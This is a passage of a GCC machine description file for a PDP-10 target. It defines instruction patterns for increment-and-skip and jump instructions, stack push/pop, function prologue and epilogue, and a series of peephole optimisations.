(const_int 1)\n\t\t      (const_int 2)))\n   (set_attr \"skip\" \"no,yes\")])\n\n(define_insn \"*SOJA\"\n  [(set (pc)\n\t(label_ref (match_operand 2 \"\" \"\")))\n   (set (match_operand:SI 0 \"register_operand\" \"=r\")\n\t(plus:SI (match_operand:SI 1 \"register_operand\" \"0\")\n\t\t (const_int -1)))]\n  \"\"\n  {\n    rtx next = next_nonnote_insn (insn);\n    if (next == operands[2]\n\t|| (GET_CODE (next) == BARRIER\n\t    && next_nonnote_insn (next) == operands[2]))\n      {\n\tpdp10_remove_unnecessary_label (insn, operands[1]);\n\treturn \"subi %0,1\";\n      }\n    else\n      return \"soja %0,%l2\";\n  })\n\n(define_insn \"*AOJA\"\n  [(set (pc)\n\t(label_ref (match_operand 2 \"\" \"\")))\n   (set (match_operand:SI 0 \"register_operand\" \"=r\")\n\t(plus:SI (match_operand:SI 1 \"register_operand\" \"0\")\n\t\t (const_int 1)))]\n  \"\"\n  {\n    rtx next = next_nonnote_insn (insn);\n    if (next == operands[2]\n\t|| (GET_CODE (next) == BARRIER\n\t    && next_nonnote_insn (next) == operands[2]))\n      {\n\tpdp10_remove_unnecessary_label (insn, operands[2]);\n\treturn \"addi %0,1\";\n      }\n    else\n      return \"aoja %0,%l2\";\n  })\n\n(define_insn \"*SOSx_and_move\"\n  [(set (pc)\n\t(if_then_else\n\t (match_operator 2 \"pdp10_comparison_operator\"\n\t  [(plus:SI (match_operand:SI 1 \"reg_or_mem_operand\" \"+rm\")\n\t\t    (const_int -1))\n\t   (const_int 0)])\n\t (label_ref (match_operand 3 \"\" \"\"))\n\t (pc)))\n   (set (match_dup 1)\n\t(plus:SI (match_dup 1) (const_int -1)))\n   (set (match_operand:SI 0 \"register_operand\" \"=x\")\n\t(plus:SI (match_dup 1) (const_int -1)))]\n  \"\"\n  {\n    pdp10_remove_unnecessary_label (insn, operands[3]);\n    if (get_attr_length (insn) == 1)\n      return \"sos%2 %0,%1\";\n    else\n      {\n\toutput_asm_insn (\"sos%R2 %0,%1\", operands);\n\treturn pdp10_output_jrst (operands[3]);\n      }\n  }\n  [(set (attr \"length\")\n\t(if_then_else (eq (minus (match_dup 3) (pc)) (const_int 1))\n\t\t      (const_int 1)\n\t\t      (const_int 2)))\n   (set_attr \"skip\" \"yes\")])\n\n(define_insn \"*AOSx_and_move\"\n  [(set (pc)\n\t(if_then_else\n\t (match_operator 2 \"pdp10_comparison_operator\"\n\t  [(plus:SI (match_operand:SI 1 \"reg_or_mem_operand\" \"+rm\")\n\t\t    (const_int 1))\n\t   (const_int 0)])\n\t (label_ref (match_operand 3 \"\" \"\"))\n\t (pc)))\n   (set (match_dup 1)\n\t(plus:SI (match_dup 1) (const_int 1)))\n   (set (match_operand:SI 0 \"register_operand\" \"=x\")\n\t(plus:SI (match_dup 1) (const_int 1)))]\n  \"\"\n  {\n    pdp10_remove_unnecessary_label (insn, operands[3]);\n    if (get_attr_length (insn) == 1)\n      return \"aos%2 %0,%1\";\n    else\n      {\n\toutput_asm_insn (\"aos%R2 %0,%1\", operands);\n\treturn pdp10_output_jrst (operands[3]);\n      }\n  }\n  [(set (attr \"length\")\n\t(if_then_else (eq (minus (match_dup 3) (pc)) (const_int 1))\n\t\t      (const_int 1)\n\t\t      (const_int 2)))\n   (set_attr \"skip\" \"yes\")])\n\n(define_insn \"JFFO\"\n  [(set (pc)\n\t(if_then_else (ne (subreg:SI\n\t\t\t   (match_operand:DI 0 \"register_operand\" \"+r\") 0)\n\t\t\t  (const_int 0))\n\t\t      (match_operand 1 \"address_operand\" \"\")\n\t\t      (pc)))\n   (set (subreg:SI (match_dup 0) 4)\n\t(unspec:SI [(subreg:SI (match_dup 0) 0)] UNSPEC_FFO))]\n  \"TARGET_KA10up\"\n  {\n    if (GET_CODE (operands[1]) == LABEL_REF)\n      return \"jffo %0,%l1\";\n    else\n      return \"jffo %0,%1\";\n  })\n\n(define_insn \"CMPBP\"\n  [(set (pc)\n\t(if_then_else\n\t (match_operator 0 \"comparison_operator\"\n\t  [(unspec:SI\n\t    [(match_operand:SI 1 \"register_operand\" \"r\")] UNSPEC_CMPBP)\n\t   (unspec:SI\n\t    [(match_operand:SI 2 \"reg_or_mem_operand\" \"rm\")] UNSPEC_CMPBP)])\n\t (label_ref (match_operand 3 \"\" \"\"))\n\t (pc)))]\n  \"TARGET_XKL2\"\n  {\n    pdp10_remove_unnecessary_label (insn, operands[3]);\n    if (get_attr_length (insn) == 1)\n      return \"extend %1,[cmpbp%0 %2]\";\n    else\n      return \"extend %1,[cmpbp%C0 %2]\\;jump %3\";\n  }\n  [(set (attr \"length\")\n\t(if_then_else (eq (minus (match_dup 3) (pc)) (const_int 1))\n\t\t      (const_int 1)\n\t\t      (const_int 2)))\n   (set_attr \"skip\" \"yes\")])\n\n; (define_expand \"conditional_trap\"\n;   [(trap_if (match_operator 0 \"pdp10_comparison_operator\" \n;              [(match_dup 2) (const_int 0)])\n;             (match_operand 1 \"const_int_operand\" \"\"))]\n;   \"\"\n;   \"operands[2] = pdp10_compare_op0;\")\n\n; (define_insn \"*trap\"\n;   [(trap_if (match_operator 0 \"pdp10_comparison_operator\" \n;              [(match_operand 2 \"memory_operand\" \"m\") (const_int 0)])\n;             (match_operand 1 \"const_int_operand\" \"i\"))]\n;   \"\"\n;   \"skip%R0 %2\\;%_<trap %1>%; conditional_trap\"\n;   [(set_attr \"length\" \"2\")])\n\n\f\n;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;\n;; Function Prologue and Epilogue\n\n(define_expand \"prologue\"\n  [(const_int 2)]\n  \"\"\n  \"pdp10_expand_prologue ();\n   DONE;\")\n\n(define_expand \"epilogue\"\n  [(return)]\n  \"\"\n  \"pdp10_expand_epilogue (1);\n   DONE;\")\n\n(define_expand \"sibcall_epilogue\"\n  [(const_int 3)]\n  \"\"\n  \"pdp10_expand_epilogue (0);\n   DONE;\")\n\n(define_insn \"POPJ\"\n  [(set (pc) (match_operand:SI 0 \"pdp10_pop_operand\" \"\"))]\n  \"\"\n  \"popj %P0,\")\n\n(define_insn \"POPJ_17\"\n  [(return)]\n  \"\"\n  {\n    return pdp10_output_return ();\n  })\n\n;; Allocate stack space, and return the word address of the allocated\n;; memory.\n(define_expand \"allocate_stack\"\n  [(set (match_operand:SI 0 \"register_operand\" \"\")\n\t(unspec:SI [(plus:SI (reg:SI SP_REGNUM) (const_int 1))]\n\t\t   UNSPEC_ADDRESS))\n   (set (reg:SI SP_REGNUM)\n\t(unspec:SI\n\t [(reg:SI SP_REGNUM)\n\t  (match_operand:SI 1 \"general_operand\" \"\")]\n\t UNSPEC_ADJSP))]\n  \"\"\n  \"{\n     rtx x = plus_constant (stack_pointer_rtx, 1);\n     rtx y, z = gen_reg_rtx (Pmode);\n     if (GET_CODE (operands[1]) == CONST_INT)\n       y = GEN_INT ((INTVAL (operands[1]) + 3) / 4);\n     else\n       {\n\t y = gen_reg_rtx (Pmode);\n\t emit_insn (gen_addsi3 (y, operands[1], GEN_INT (3)));\n\t emit_insn (gen_ASH_right (y, y, GEN_INT (-2)));\n       }\n     emit_move_insn (z,\n\t\t     gen_rtx_UNSPEC (Pmode, gen_rtvec (1, x), UNSPEC_ADDRESS));\n     emit_move_insn (operands[0], z);\n     emit_insn (pdp10_gen_stack_adjust (y));\n     DONE;\n   }\")\n\n(define_expand \"ADJSP\"\n  [(set (match_operand:SI 0 \"register_operand\" \"\")\n\t(unspec:SI [(match_dup 0) (match_operand:SI 1 \"general_operand\" \"\")]\n\t\t   UNSPEC_ADJSP))]\n  \"\"\n  \"\")\n\n(define_insn \"*ADJSP_KL10up\"\n  [(set (match_operand:SI 0 \"register_operand\" \"+r,r,r,r\")\n\t(unspec:SI [(match_dup 0)\n\t\t    (match_operand:SI 1 \"general_operand\" \"K,i,x,m\")]\n\t\t   UNSPEC_ADJSP))]\n  \"TARGET_KL10up\"\n  \"@\n   adjsp %0,%1\n   adjsp %0,[%1]\n   adjsp %0,(%1)\n   adjsp %0,@%1\")\n\n(define_insn \"*ADJSP_noKL10up\"\n  [(set (match_operand:SI 0 \"register_operand\" \"+r\")\n\t(unspec:SI [(match_dup 0)\n\t\t    (match_operand:SI 1 \"immediate_operand\" \"K\")]\n\t\t   UNSPEC_ADJSP))]\n  \"!TARGET_KL10up && !TARGET_EXTENDED\"\n  \"add %0,[%1,,%1]\")\n\n(define_insn \"PUSH\"\n  [(set (match_operand:SI 0 \"pdp10_push_operand\" \"=m\")\n\t(match_operand:SI 1 \"reg_or_mem_operand\" \"rm\"))]\n  \"\"\n  \"push %P0,%1\")\n\n(define_insn \"*pushsi_combine\"\n  [(parallel\n    [(set (mem:SI (plus:SI (match_operand:SI 0 \"register_operand\" \"r\")\n\t\t\t   (const_int 1)))\n\t  ;; FIXME: empty predicate allowed?\n\t  (match_operand:SI 1 \"\" \"rm\"))\n     (set (match_operand:SI 2 \"register_operand\" \"=0\")\n\t  (plus:SI (match_dup 0) (const_int 1)))])]\n  \"optimize_size && TARGET_EXTENDED\"\n  \"push %0,%1\")\n\n(define_insn \"*pushsf_combine\"\n  [(parallel\n    [(set (mem:SF (plus:SI (match_operand:SI 0 \"register_operand\" \"r\")\n\t\t\t   (const_int 1)))\n\t  (match_operand:SF 1 \"reg_or_mem_operand\" \"rm\"))\n     (set (match_operand:SI 2 \"register_operand\" \"=0\")\n\t  (plus:SI (match_dup 0) (const_int 1)))])]\n  \"optimize_size && TARGET_EXTENDED\"\n  \"push %0,%1\")\n\n(define_insn \"POP\"\n  [(set (match_operand:SI 0 \"reg_or_mem_operand\" \"=rm\")\n\t(match_operand:SI 1 \"pdp10_pop_operand\" \"m\"))]\n  \"\"\n  \"pop %P1,%0\")\n\n(define_insn \"*popsi_combine\"\n  [(parallel\n    [(set (match_operand:SI 0 \"reg_or_mem_operand\" \"=rm\")\n\t  (mem:SI (match_operand:SI 1 \"register_operand\" \"r\")))\n     (set (match_operand:SI 2 \"reg_or_mem_operand\" \"=1\")\n\t  (plus:SI (match_dup 1) (const_int -1)))])]\n  \"optimize_size && TARGET_EXTENDED\"\n  \"pop %1,%0\")\n\n(define_insn \"*popsf_combine\"\n  [(parallel\n    [(set (match_operand:SF 0 \"reg_or_mem_operand\" \"=rm\")\n\t  (mem:SF (match_operand:SI 1 \"register_operand\" \"+r\")))\n     (set (match_dup 1)\n\t  (plus:SI (match_dup 1) (const_int -1)))])]\n  \"optimize_size && TARGET_EXTENDED\"\n  \"pop %1,%0\")\n\n\f\n;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;\n;; Peepholes\n\n;; The following four insns compensate for unnecessary shifts\n;; generated by pointer arithmetic.\n(define_insn \"*combine_nop_shift_left_right\"\n  [(set (match_operand:SI 0 \"register_operand\" \"=r\")\n\t(unspec:SI\n\t [(ashift:SI (match_operand:SI 1 \"register_operand\" \"0\")\n\t\t     (match_operand:SI 2 \"const_int_operand\" \"\"))\n\t  (match_operand:SI 3 \"const_int_operand\" \"\")]\n\t UNSPEC_SHIFTRT))]\n  \"INTVAL (operands[2]) == INTVAL (operands[3])\"\n  \"\"\n  [(set_attr \"length\" \"0\")])\n(define_insn \"*combine_shift_left_right\"\n  [(set (match_operand:SI 0 \"register_operand\" \"=r\")\n\t(unspec:SI\n\t [(ashift:SI (match_operand:SI 1 \"register_operand\" \"0\")\n\t\t     (match_operand:SI 2 \"const_int_operand\" \"\"))\n\t  (match_operand:SI 3 \"const_int_operand\" \"\")]\n\t UNSPEC_SHIFTRT))]\n  \"\"\n  {\n    operands[2] = GEN_INT (INTVAL (operands[2]) - INTVAL (operands[3]));\n    return \"ash %0,%2\";\n  })\n(define_insn \"*combine_nop_shift_right_left\"\n  [(set (match_operand:SI 0 \"register_operand\" \"=r\")\n\t(ashiftrt:SI\n\t (unspec:SI [(match_operand:SI 1 \"register_operand\" \"0\")\n\t\t     (match_operand:SI 2 \"const_int_operand\" \"\")]\n\t\t    UNSPEC_SHIFT)\n\t (match_operand:SI 3 \"const_int_operand\" \"\")))]\n  \"INTVAL (operands[2]) == INTVAL (operands[3])\"\n  \"\"\n  [(set_attr \"length\" \"0\")])\n(define_insn \"*combine_shift_right_left\"\n  [(set (match_operand:SI 0 \"register_operand\" \"=r\")\n\t(ashiftrt:SI\n\t (unspec:SI [(match_operand:SI 1 \"register_operand\" \"0\")\n\t\t     (match_operand:SI 2 \"const_int_operand\" \"\")]\n\t\t    UNSPEC_SHIFT)\n\t (match_operand:SI 3 \"const_int_operand\" \"\")))]\n  \"\"\n  {\n    operands[2] = GEN_INT (INTVAL (operands[2]) - INTVAL (operands[3]));\n    return \"ash %0,%2\";\n  })\n\n;; Remove unnecessary shifts generated by pointer arithmetic.\n(define_peephole2\n  [(set (match_operand:SI 0 \"register_operand\" \"\")\n\t(unspec:SI\n\t [(truncate:SI\n\t   (ashift:SI (match_operand:SI 1 \"register_operand\" \"\")\n\t\t      (match_operand:SI 2 \"const_int_operand\" \"\")))\n\t  (match_operand:SI 3 \"const_int_operand\" \"\")]\n\t UNSPEC_SHIFTRT))]\n  \"INTVAL (operands[2]) == INTVAL (operands[3])\"\n  [(set (match_dup 0) (truncate:SI (match_dup 1)))])\n(define_peephole2\n  [(set (match_operand:SI 0 \"register_operand\" \"\")\n\t(ashiftrt:SI\n\t (unspec:SI [(match_operand:SI 1 \"register_operand\" \"\")\n\t\t     (match_operand:SI 2 \"const_int_operand\" \"\")]\n\t\t    UNSPEC_SHIFT)\n\t (match_operand:SI 3 \"const_int_operand\" \"\")))]\n  \"INTVAL (operands[2]) == INTVAL (operands[3])\"\n  [(set (match_dup 0) (match_dup 1))])\n\n;; Generate EXCH instructions.\n(define_peephole2\n  [(set (match_operand:SI 0 \"register_operand\" \"\")\n\t(match_operand:SI 1 \"reg_or_mem_operand\" \"\"))\n   (set (match_dup 1)\n\t(match_operand:SI 2 \"reg_or_mem_operand\" \"\"))\n   (set (match_dup 2)\n\t(match_dup 0))]\n  \"find_reg_note (next_nonnote_insn (next_nonnote_insn (insn)),\n\t\t  REG_DEAD, operands[0])\n   && (register_operand (operands[1], SImode)\n       || register_operand (operands[2], SImode))\"\n  ;\"peep2_reg_dead_p (2, operands[0]) && ...\"\n  [(parallel [(set (match_dup 1) (match_dup 2))\n\t      (set (match_dup 2) (match_dup 1))])]\n  \"if (register_operand (operands[1], SImode))\n     {\n       rtx tmp = operands[1];\n       operands[1] = operands[2];\n       operands[2] = tmp;\n     }\")\n\n;; Generate SETZB instructions.\n(define_peephole2\n  [(set (match_operand:SI 0 \"reg_or_mem_operand\" \"\") (const_int 0))\n   (set (match_operand:SI 1 \"reg_or_mem_operand\" \"\") (const_int 0))]\n  \"register_operand (operands[0], SImode)\n   || register_operand (operands[1], SImode)\"\n  [(parallel [(set (match_dup 0) (const_int 0))\n\t      (set (match_dup 1) (const_int 0))])]\n  \"if (register_operand (operands[0], SImode))\n     {\n       rtx tmp = operands[0];\n       operands[0] = operands[1];\n       operands[1] = tmp;\n     }\")\n\n;; Remove an unneccesary MOVEI instruction.\n(define_peephole2\n  [(set (match_operand:SI 0 \"register_operand\" \"\")\n        (unspec:SI\n\t [(plus:SI (match_dup 0) (match_operand 1 \"const_int_operand\" \"\"))]\n\t UNSPEC_ADDRESS))\n   (parallel [(unspec_volatile:BLK\n\t       [(match_operand:SI 2 \"register_operand\" \"\")]\n\t       VUNSPEC_BLT)\n\t      (use (mem:BLK (match_dup 0)))])]\n  \"dead_or_set_p (insn, operands[0])\"\n  ;\"peep2_reg_dead_p (0, operands[0])\"\n  [(parallel [(unspec_volatile:BLK [(match_dup 2)] VUNSPEC_BLT)\n\t      (use (mem:BLK (plus:SI (match_dup 0) (match_dup 1))))])])\n\n;; Optimize a block-copy operation with constant addresses.\n(define_peephole2\n  [(set (match_operand:SI 0 \"register_operand\" \"\")\n\t(unspec:SI\n\t [(match_operand:SI 1 \"immediate_operand\" \"\")] UNSPEC_ADDRESS))\n   (set (zero_extract:SI (match_dup 0) (const_int 18) (const_int 0))\n\t(unspec:SI\n\t [(match_operand:SI 2 \"immediate_operand\" \"\")] UNSPEC_ADDRESS))]\n  \"\"\n  [(set (match_dup 0)\n\t(ior:SI (ashift:SI (match_dup 2) (const_int 18))\n\t\t (match_dup 1)))])\n\n;; Optimize a block-clear operation with a constant address.\n(define_peephole2\n  [(set (match_operand:SI 0 \"register_operand\" \"\")\n\t(match_operand:SI 1 \"immediate_operand\" \"\"))\n   (set (match_operand:SI 2 \"register_operand\" \"\")\n\t(ashift:SI (unspec:SI [(match_dup 0)] UNSPEC_ADDRESS)\n\t\t    (const_int 18)))\n   (set (zero_extract:SI (match_dup 2) (const_int 18) (const_int 18))\n\t;; FIXME: (const_int 4) -> (const_int 1)?\n\t(unspec:SI [(plus:SI (match_dup 0) (const_int 4))] UNSPEC_ADDRESS))]\n  \"dead_or_set_p (insn, operands[0])\"\n  ;\"peep2_reg_dead_p (0, operands[0])\"\n  [(set (match_dup 2)\n\t(ior:SI (ashift:SI (match_dup 1) (const_int 18))\n\t\t (const:SI (plus:SI (match_dup 1) (const_int 1)))))])\n\n;; Generate a PUSHJ instruction from an equivalent sequence of\n;; instructions.\n(define_peephole2\n  [(set (match_operand:SI 0 \"register_operand\" \"\")\n\t(label_ref:SI (match_operand 1 \"\" \"\")))\n   (parallel\n    [(set (mem:SI (plus:SI (match_operand:SI 2 \"register_operand\" \"\")\n\t\t\t   (const_int 1)))\n\t  (match_operand:SI 3 \"\" \"\"))\n     (set (match_dup 2)\n\t  (plus:SI (match_dup 2) (const_int 1)))])\n   (set (pc)\n\t(match_operand:SI 4 \"\" \"\"))]\n  ;; TODO: find code_label corresponding to operands[1].\n  \"0 && TARGET_EXTENDED\"\n  [(parallel\n    [(call (mem:SI (match_dup 4)) (const_int 0))\n     (use (match_dup 2))])])\n\n;; Generate a POP instruction from an equivalent sequence of\n;; instructions.\n(define_peephole2\n  [(set (match_operand:SI 0 \"register_operand\" \"\")\n\t(mem:SI (match_operand:SI 1 \"register_operand\" \"\")))\n   (set (match_operand:SI 2 \"reg_or_mem_operand\" \"\")\n\t(match_dup 0))\n   (set (match_dup 1)\n\t(plus:SI (match_dup 1) (const_int -1)))]\n  \"optimize_size && TARGET_EXTENDED\"\n  [(parallel\n    [(set (match_dup 2)\n\t  (mem:SI (match_dup 1)))\n     (set (match_dup 1)\n\t  (plus:SI (match_dup 1) (const_int -1)))])])\n(define_peephole2\n  [(set (match_operand:SF 0 \"register_operand\" \"\")\n\t(mem:SF (match_operand:SI 1 \"register_operand\" \"\")))\n   (set (match_operand:SF 2 \"reg_or_mem_operand\" \"\")\n\t(match_dup 0))\n   (set (match_dup 1)\n\t(plus:SI (match_dup 1) (const_int -1)))]\n  \"optimize_size && TARGET_EXTENDED\"\n  [(parallel\n    [(set (match_dup 2)\n\t  (mem:SF (match_dup 1)))\n     (set (match_dup 1)\n\t  (plus:SI (match_dup 1) (const_int -1)))])])\n\n;; XMOVEI AC1,OFFSET(17)\n;; MOVE AC2,AC1\t\t\t->\tMOVE AC2,OFFSET(17)\n;; AC1 is dead\n(define_peephole2\n  [(set (match_operand:SI 1 \"register_operand\" \"\")\n        (plus:SI (reg:SI SP_REGNUM)\n\t\t (match_operand:SI 2 \"const_int_operand\" \"\")))\n   (set (match_operand:SI 0 \"register_operand\" \"\")\n        (match_dup 1))]\n  ;\"dead_or_set_p (insn, operands[1])\"\n  \"find_regno_note (next_real_insn (insn), REG_DEAD, REGNO (operands[1]))\"\n  ;\"peep2_reg_dead_p (1, operands[1]);\"\n  [(set (match_dup 0)\n        (plus:SI (reg:SI SP_REGNUM) (match_dup 2)))])\n\n;; XMOVEI AC1,(17)\n;; ADDI AC1,OFFSET\t\t->\tXMOVEI AC1,OFFSET(17)\n(define_peephole2\n  [(set (match_operand:SI 0 \"register_operand\" \"\")\n\t(reg:SI SP_REGNUM))\n   (set (match_dup 0)\n\t(plus:SI (match_dup 0)\n\t\t (match_operand:SI 1 \"const_int_operand\" \"\")))]\n  \"\"\n  [(set (match_dup 0)\n\t(plus:SI (reg:SI SP_REGNUM) (match_dup 1)))])\n\n;; XMOVEI AC1,OFFSET1(17)\n;; ADDI AC1,OFFSET2\t\t->\tXMOVEI AC1,OFFSET1+OFFSET2(17)\n(define_peephole2\n  [(set (match_operand:SI 0 \"register_operand\" \"\")\n\t(plus:SI (reg:SI SP_REGNUM)\n\t\t (match_operand:SI 1 \"const_int_operand\" \"\")))\n   (set (match_dup 0)\n\t(plus:SI (match_dup 0)\n\t\t (match_operand:SI 2 \"const_int_operand\" \"\")))]\n  \"\"\n  [(set (match_dup 0)\n\t(plus:SI (reg:SI SP_REGNUM) (match_dup 3)))]\n  \"operands[3] = gen_int_mode (INTVAL (operands[1]) + INTVAL (operands[2]),\n\t\t\t       Pmode);\")\n\n;; AOS m\n;; MOVE a,m\t\t\t->\tAOS a,m\n(define_peephole2\n  [(set (match_operand:SI 0 \"reg_or_mem_operand\" \"\")\n\t(plus:SI (match_dup 0)\n\t\t (const_int 1)))\n   (set (match_operand:SI 1 \"register_operand\" \"\")\n\t(match_dup 0))]\n  \"REGNO (operands[1]) != 0\"\n  [(parallel\n    [(set (match_dup 0)\n\t  (plus:SI (match_dup 0) (const_int 1)))\n     (set (match_dup 1)\n\t  (plus:SI (match_dup 0) (const_int 1)))])])\n\n;; SOS m\n;; MOVE a,m\t\t\t->\tSOS a,m\n(define_peephole2\n  [(set (match_operand:SI 0 \"reg_or_mem_operand\" \"\")\n\t(plus:SI (match_dup 0)\n\t\t (const_int -1)))\n   (set (match_operand:SI 1 \"register_operand\" \"\")\n\t(match_dup 0))]\n  \"REGNO (operands[1]) != 0\"\n  [(parallel\n    [(set (match_dup 0)\n\t  (plus:SI (match_dup 0) (const_int -1)))\n     (set (match_dup 1)\n\t  (plus:SI (match_dup 0) (const_int -1)))])])\n\n;; AOS a,m\n;; CAILE a,0\t\t\t->\tAOSLE a,m\n;;  MOVEI a,0\t\t\t\t MOVEI a,0\n(define_peephole\n  [(parallel [(set (match_operand:SI 0 \"memory_operand\" \"\")\n\t\t   (plus:SI (match_dup 0) (const_int 1)))\n\t      (set (match_operand:SI 1 \"register_operand\" \"\")\n\t\t   (plus:SI (match_dup 0) (const_int 1)))])\n   (set (match_dup 1)\n\t(smin:SI (match_dup 1) (match_operand 2 \"const_int_operand\" \"\")))]\n  \"REGNO (operands[1]) != 0\n   && (INTVAL (operands[2]) >= -1 || INTVAL (operands[2]) <= 1)\"\n  {\n    if (INTVAL (operands[2]) == 0)\n      return \"aosle %1,%0\\;%_movei %1,0\";\n    else if (INTVAL (operands[2]) == 1)\n      return \"aosle %1,%0\\;%_movei %1,1\";\n    else\n      return \"aosl %1,%0\\;%_seto %1,\";\n  })\n\n;; SOS a,m\n;; CAILE a,0\t\t\t->\tSOSLE a,m\n;;  MOVEI a,0\t\t\t\t MOVEI a,0\n(define_peephole\n  [(parallel [(set (match_operand:SI 0 \"memory_operand\" \"\")\n\t\t   (plus:SI (match_dup 0) (const_int -1)))\n\t      (set (match_operand:SI 1 \"register_operand\" \"\")\n\t\t   (plus:SI (match_dup 0) (const_int -1)))])\n   (set (match_dup 1)\n\t(smin:SI (match_dup 1) (match_operand 2 \"const_int_operand\" \"\")))]\n  \"REGNO (operands[1]) != 0\n   && (INTVAL (operands[2]) >= -1 || INTVAL (operands[2]) <= 1)\"\n  {\n    if (INTVAL (operands[2]) == 0)\n      return \"sosle %1,%0\\;%_movei %1,0\";\n    else if (INTVAL (operands[2]) == 1)\n      return \"sosle %1,%0\\;%_movei %1,1\";\n    else\n      return \"sosl %1,%0\\;%_seto %1,\";\n  })\n\n;; AOS a,m\n;; CAIGE a,0\t\t\t->\tAOSGE a,m\n;;  MOVEI a,0\t\t\t\t MOVEI a,0\n(define_peephole\n  [(parallel [(set (match_operand:SI 0 \"memory_operand\" \"\")\n\t\t   (plus:SI (match_dup 0) (const_int 1)))\n\t      (set (match_operand:SI 1 \"register_operand\" \"\")\n\t\t   (plus:SI (match_dup 0) (const_int 1)))])\n   (set (match_dup 1)\n\t(smax:SI (match_dup 1) (match_operand 2 \"const_int_operand\" \"\")))]\n  \"REGNO (operands[1]) != 0\n   && (INTVAL (operands[2]) >= -1 || INTVAL (operands[2]) <= 1)\"\n  {\n    if (INTVAL (operands[2]) == 0)\n      return \"aosge %1,%0\\;%_movei %1,0\";\n    else if (INTVAL (operands[2]) == 1)\n      return \"aosg %1,%0\\;%_movei %1,1\";\n    else\n      return \"aosge %1,%0\\;%_seto %1,\";\n  })\n\n;; SOS a,m\n;; CAIGE a,0\t\t\t->\tSOSGE a,m\n;;  MOVEI a,0\t\t\t\t MOVEI a,0\n(define_peephole\n  [(parallel [(set (match_operand:SI 0 \"memory_operand\" \"\")\n\t\t   (plus:SI (match_dup 0) (const_int -1)))\n\t      (set (match_operand:SI 1 \"register_operand\" \"\")\n\t\t   (plus:SI (match_dup 0) (const_int -1)))])\n   (set (match_dup 1)\n\t(smax:SI (match_dup 1) (match_operand 2 \"const_int_operand\" \"\")))]\n  \"REGNO (operands[1]) != 0\n   && (INTVAL (operands[2]) >= -1 || INTVAL (operands[2]) <= 1)\"\n  {\n    if (INTVAL (operands[2]) == 0)\n      return \"sosge %1,%0\\;%_movei %1,0\";\n    else if (INTVAL (operands[2]) == 1)\n      return \"sosg %1,%0\\;%_movei %1,1\";\n    else\n      return \"sosge %1,%0\\;%_seto %1,\";\n  })\n\n;; AOS m\n;; SKIPx m\t\t\t->\tAOSx m\n(define_peephole2\n  [(set (match_operand:SI 0 \"reg_or_mem_operand\" \"\")\n\t(plus:SI (match_dup 0)\n\t\t (const_int 1)))\n    (set (pc)\n\t (if_then_else\n\t  (match_operator 2 \"pdp10_comparison_operator\"\n\t   [(match_dup 0)\n\t    (const_int 0)])\n\t  (label_ref (match_operand 1 \"\" \"\"))\n\t  (pc)))]\n  \"\"\n  [(parallel\n    [(set (pc)\n\t  (if_then_else\n\t   (match_op_dup 2\n\t    [(plus:SI (match_dup 0) (const_int 1))\n\t     (const_int 0)])\n\t   (label_ref (match_dup 1))\n\t   (pc)))\n     (set (match_dup 0)\n\t  (plus:SI (match_dup 0) (const_int 1)))])])\n\n;; SOS m\n;; SKIPx m\t\t\t->\tSOSx m\n(define_peephole2\n  [(set (match_operand:SI 0 \"reg_or_mem_operand\" \"\")\n\t(plus:SI (match_dup 0)\n\t\t (const_int -1)))\n    (set (pc)\n\t (if_then_else\n\t  (match_operator 2 \"pdp10_comparison_operator\"\n\t   [(match_dup 0)\n\t    (const_int 0)])\n\t  (label_ref (match_operand 1 \"\" \"\"))\n\t  (pc)))]\n  \"\"\n  [(parallel\n    [(set (pc)\n\t  (if_then_else\n\t   (match_op_dup 2\n\t    [(plus:SI (match_dup 0) (const_int -1))\n\t     (const_int 0)])\n\t   (label_ref (match_dup 1))\n\t   (pc)))\n     (set (match_dup 0)\n\t  (plus:SI (match_dup 0) (const_int -1)))])])\n\n;; AOS m\n;; SKIPx a,m\t\t\t->\tAOSx a,m\n(define_peephole2\n  [(set (match_operand:SI 0 \"reg_or_mem_operand\" \"\")\n\t(plus:SI (match_dup 0)\n\t\t (const_int 1)))\n   (parallel\n    [(set (pc)\n\t  (if_then_else\n\t   (match_operator 3 \"pdp10_comparison_operator\"\n\t    [(match_dup 0)\n\t     (const_int 0)])\n\t   (label_ref (match_operand 1 \"\" \"\"))\n\t   (pc)))\n     (set (match_operand:SI 2 \"register_operand\" \"\")\n\t  (match_dup 0))])]\n  \"REGNO (operands[2]) != 0\"\n  [(parallel\n    [(set (pc)\n\t  (if_then_else\n\t   (match_op_dup 3\n\t    [(plus:SI (match_dup 0) (const_int 1))\n\t     (const_int 0)])\n\t   (label_ref (match_dup 1))\n\t   (pc)))\n     (set (match_dup 0)\n\t  (plus:SI (match_dup 0) (const_int 1)))\n     (set (match_dup 2)\n\t  (plus:SI (match_dup 0) (const_int 1)))])])\n\n;; SOS m\n;; SKIPx a,m\t\t\t->\tSOSx a,m\n(define_peephole2\n  [(set (match_operand:SI 0 \"reg_or_mem_operand\" \"\")\n\t(plus:SI (match_dup 0)\n\t\t (const_int -1)))\n   (parallel\n    [(set (pc)\n\t  (if_then_else\n\t   (match_operator 3 \"pdp10_comparison_operator\"\n\t    [(match_dup 0)\n\t     (const_int 0)])\n\t   (label_ref (match_operand 1 \"\" \"\"))\n\t   (pc)))\n     (set (match_operand:SI 2 \"register_operand\" \"\")\n\t  (match_dup 0))])]\n  \"REGNO (operands[2]) != 0\"\n  [(parallel\n    [(set (pc)\n\t  (if_then_else\n\t   (match_op_dup 3\n\t    [(plus:SI (match_dup 0) (const_int -1))\n\t     (const_int 0)])\n\t   (label_ref (match_dup 1))\n\t   (pc)))\n     (set (match_dup 0)\n\t  (plus:SI (match_dup 0) (const_int -1)))\n     (set (match_dup 2)\n\t  (plus:SI (match_dup 0) (const_int -1)))])])\n\n;; ADDI a,1\n;; JRST m\t\t\t->\tAOJA a,m\n;; The traditional peephole is needed to detect sequences after basic\n;; block reordering.  peephole2 is run before that.\n(define_peephole2\n  [(set (match_operand:SI 0 \"register_operand\" \"\")\n\t(plus:SI (match_dup 0)\n\t\t (const_int 1)))\n   (set (pc)\n\t(label_ref (match_operand 1 \"\" \"\")))]\n  \"\"\n  [(parallel\n    [(set (pc)\n\t  (label_ref (match_dup 1)))\n     (set (match_dup 0)\n\t  (plus:SI (match_dup 0)\n\t\t   (const_int 1)))])])\n(define_peephole\n  [(set (match_operand:SI 0 \"register_operand\" \"\")\n\t(plus:SI (match_dup 